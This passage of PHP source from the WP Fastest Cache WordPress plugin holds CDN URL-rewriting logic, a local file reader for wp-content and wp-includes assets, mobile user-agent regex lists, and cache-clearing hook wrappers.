// $_SERVER["SERVER_PORT"] = isset($_SERVER["SERVER_PORT"]) ? $_SERVER["SERVER_PORT"] : 80;
// }
// $pageURL = 'http';
// if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on'){
// $pageURL .= 's';
// }
// $pageURL .= '://';
// if($_SERVER['SERVER_PORT'] != '80'){
// $pageURL .= $_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].$_SERVER['REQUEST_URI'];
// }else{
// $pageURL .= $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
// }
// return $pageURL;
}
public function wpfc_load_plugin_textdomain(){
load_plugin_textdomain('wp-fastest-cache', FALSE, basename( dirname( __FILE__ ) ) . '/languages/' );
}
public function cdn_replace_urls($matches){
if(count($this->cdn) > 0){
foreach ($this->cdn as $key => $cdn) {
if($cdn->id == "cloudflare"){
continue;
}
if(isset($cdn->status) && $cdn->status == "pause"){
continue;
}
if(preg_match("/manifest\.json\.php/i", $matches[0])){
return $matches[0];
}
//https://site.com?brizy_media=AttachmentName.jpg&brizy_crop=CropSizes&brizy_post=TheCurrentPost
if(preg_match("/brizy_media\=/i", $matches[0])){
return $matches[0];
}
//https://cdn.shortpixel.ai/client/q_glossy,ret_img,w_736/http://wpfc.com/stories.png
if(preg_match("/cdn\.shortpixel\.ai\/client/i", $matches[0])){
return $matches[0];
}
if(preg_match("/^\/\/random/", $cdn->cdnurl) || preg_match("/\/\/i\d\.wp\.com/", $cdn->cdnurl)){
// Photon will no longer be supported
continue;
}
$cdnurl = $cdn->cdnurl;
$cdn->file_types = str_replace(",", "|", $cdn->file_types);
if(preg_match("/\.(".$cdn->file_types.")(\"|\'|\?|\)|\s|\"\;)/i", $matches[0])){
//nothing
}else{
if(preg_match("/js/", $cdn->file_types)){
if(!preg_match("/\/revslider\/public\/assets\/js/", $matches[0])){
continue;
}
}else{
continue;
}
}
if($cdn->keywords){
$cdn->keywords = str_replace(",", "|", $cdn->keywords);
if(!preg_match("/".preg_quote($cdn->keywords, "/")."/i", $matches[0])){
continue;
}
}
if(isset($cdn->excludekeywords) && $cdn->excludekeywords){
$cdn->excludekeywords = str_replace(",", "|", $cdn->excludekeywords);
if(preg_match("/".preg_quote($cdn->excludekeywords, "/")."/i", $matches[0])){
continue;
}
}
if(preg_match("/(data-product_variations|data-siteorigin-parallax)\=[\"\'][^\"\']+[\"\']/i", $matches[0])){
$cdnurl = preg_replace("/(https?\:)?(\/\/)(www\.)?/", "", $cdnurl);
// if(preg_match("/i\d\.wp\.com/i", $cdnurl)){
// $matches[0] = preg_replace("/(quot\;|\s)(https?\:)?(\\\\\/\\\\\/|\/\/)(www\.)?".$cdn->originurl."/i", "$1$2$3".$cdnurl, $matches[0]);
// }else{
// $matches[0] = preg_replace("/(quot\;|\s)(https?\:)?(\\\\\/\\\\\/|\/\/)(www\.)?".$cdn->originurl."/i", "$1$2$3$4".$cdnurl, $matches[0]);
// }
$matches[0] = preg_replace("/(quot\;|\s)(https?\:)?(\\\\\/\\\\\/|\/\/)(www\.)?".$cdn->originurl."/i", '${1}${2}${3}'.$cdnurl, $matches[0]);
}else if(preg_match("/\{\"concatemoji\"\:\"[^\"]+\"\}/i", $matches[0])){
$matches[0] = preg_replace("/(http(s?)\:)?".preg_quote("\/\/", "/")."(www\.)?/i", "", $matches[0]);
$matches[0] = preg_replace("/".preg_quote($cdn->originurl, "/")."/i", $cdnurl, $matches[0]);
}else if(isset($matches[2]) && preg_match("/".preg_quote($cdn->originurl, "/")."/", $matches[2])){
$matches[0] = preg_replace("/(http(s?)\:)?\/\/(www\.)?".preg_quote($cdn->originurl, "/")."/i", $cdnurl, $matches[0]);
}else if(isset($matches[2]) && preg_match("/^(\/?)(wp-includes|wp-content)/", $matches[2])){
$matches[0] = preg_replace("/(\/?)(wp-includes|wp-content)/i", $cdnurl."/"."$2", $matches[0]);
}else if(preg_match("/[\"\']https?\:\\\\\/\\\\\/[^\"\']+[\"\']/i", $matches[0])){
if(preg_match("/^(logo|url|image)$/i", $matches[1])){
//If the url is called with "//", it causes an error on https://search.google.com/structured-data/testing-tool/u/0/
//<script type="application/ld+json">"logo":{"@type":"ImageObject","url":"\/\/cdn.site.com\/image.png"}</script>
//<script type="application/ld+json">{"logo":"\/\/cdn.site.com\/image.png"}</script>
//<script type="application/ld+json">{"image":"\/\/cdn.site.com\/image.jpg"}</script>
}else{
//<script>var loaderRandomImages=["https:\/\/www.site.com\/wp-content\/uploads\/2016\/12\/image.jpg"];</script>
$matches[0] = preg_replace("/\\\\\//", "/", $matches[0]);
if(preg_match("/".preg_quote($cdn->originurl, "/")."/", $matches[0])){
$matches[0] = preg_replace("/(http(s?)\:)?\/\/(www\.)?".preg_quote($cdn->originurl, "/")."/i", $cdnurl, $matches[0]);
$matches[0] = preg_replace("/\//", "\/", $matches[0]);
}
}
}
}
}
return $matches[0];
}
public function read_file($url){
if(!preg_match("/\.php/", $url)){
$url = preg_replace("/\?.*/", "", $url);
if(preg_match("/wp-content/", $url)){
$path = preg_replace("/.+\/wp-content\/(.+)/", WPFC_WP_CONTENT_DIR."/"."$1", $url);
}else if(preg_match("/wp-includes/", $url)){
$path = preg_replace("/.+\/wp-includes\/(.+)/", ABSPATH."wp-includes/"."$1", $url);
}
if(isset($path)){
if(@file_exists($path)){
$filesize = filesize($path);
if($filesize > 0){
$myfile = fopen($path, "r") or die("Unable to open file!");
$data = fread($myfile, $filesize);
fclose($myfile);
return $data;
}else{
return false;
}
}
}
}
return false;
}
public function get_operating_systems(){
$operating_systems = array(
'Android',
'blackberry|\bBB10\b|rim\stablet\sos',
'PalmOS|avantgo|blazer|elaine|hiptop|palm|plucker|xiino',
'Symbian|SymbOS|Series60|Series40|SYB-[0-9]+|\bS60\b',
'Windows\sCE.*(PPC|Smartphone|Mobile|[0-9]{3}x[0-9]{3})|Window\sMobile|Windows\sPhone\s[0-9.]+|WCE;',
'Windows\sPhone\s10.0|Windows\sPhone\s8.1|Windows\sPhone\s8.0|Windows\sPhone\sOS|XBLWP7|ZuneWP7|Windows\sNT\s6\.[23]\;\sARM\;',
'\biPhone.*Mobile|\biPod|\biPad',
'Apple-iPhone7C2',
'MeeGo',
'Maemo',
'J2ME\/|\bMIDP\b|\bCLDC\b', // '|Java/' produces bug #135
'webOS|hpwOS',
'\bBada\b',
'BREW'
);
return $operating_systems;
}
public function get_mobile_browsers(){
$mobile_browsers = array(
'\bCrMo\b|CriOS|Android.*Chrome\/[.0-9]*\s(Mobile)?',
'\bDolfin\b',
'Opera.*Mini|Opera.*Mobi|Android.*Opera|Mobile.*OPR\/[0-9.]+|Coast\/[0-9.]+',
'Skyfire',
'Mobile\sSafari\/[.0-9]*\sEdge',
'IEMobile|MSIEMobile', // |Trident/[.0-9]+
'fennec|firefox.*maemo|(Mobile|Tablet).*Firefox|Firefox.*Mobile|FxiOS',
'bolt',
'teashark',
'Blazer',
'Version.*Mobile.*Safari|Safari.*Mobile|MobileSafari',
'Tizen',
'UC.*Browser|UCWEB',
'baiduboxapp',
'baidubrowser',
'DiigoBrowser',
'Puffin',
'\bMercury\b',
'Obigo',
'NF-Browser',
'NokiaBrowser|OviBrowser|OneBrowser|TwonkyBeamBrowser|SEMC.*Browser|FlyFlow|Minimo|NetFront|Novarra-Vision|MQQBrowser|MicroMessenger',
'Android.*PaleMoon|Mobile.*PaleMoon'
);
return $mobile_browsers;
}
}
// Load WP CLI command(s) on demand.
if ( defined( 'WP_CLI' ) && WP_CLI ) {
require_once "inc/cli.php";
}
function wpfc_clear_all_site_cache(){
if(defined('WPFC_DISABLE_HOOK_CLEAR_ALL_CACHE') && WPFC_DISABLE_HOOK_CLEAR_ALL_CACHE){
return array("success" => false, "message" => "Clearing Cache Hook system has been disabled");
}
do_action("wpfc_clear_all_cache");
}
function wpfc_clear_all_cache($minified = false){
if(defined('WPFC_DISABLE_HOOK_CLEAR_ALL_CACHE') && WPFC_DISABLE_HOOK_CLEAR_ALL_CACHE){
return array("success" => false, "message" => "Clearing Cache Hook system has been disabled");
}
do_action("wpfc_clear_all_cache", $minified);
}
function wpfc_exclude_current_page(){
do_action("wpfc_exclude_current_page");
}
function wpfc_clear_post_cache_by_id($post_id = false){
if($post_id){
do_action("wpfc_clear_post_cache_by_id", false, $post_id);
}
}
function wpfc_create_post_cache_by_id($post_id = false){
if($post_id){
do_action("wpfc_create_post_cache_by_id", $post_id);
}
}
$GLOBALS["wp_fastest_cache"] = new WpFastestCache();
?>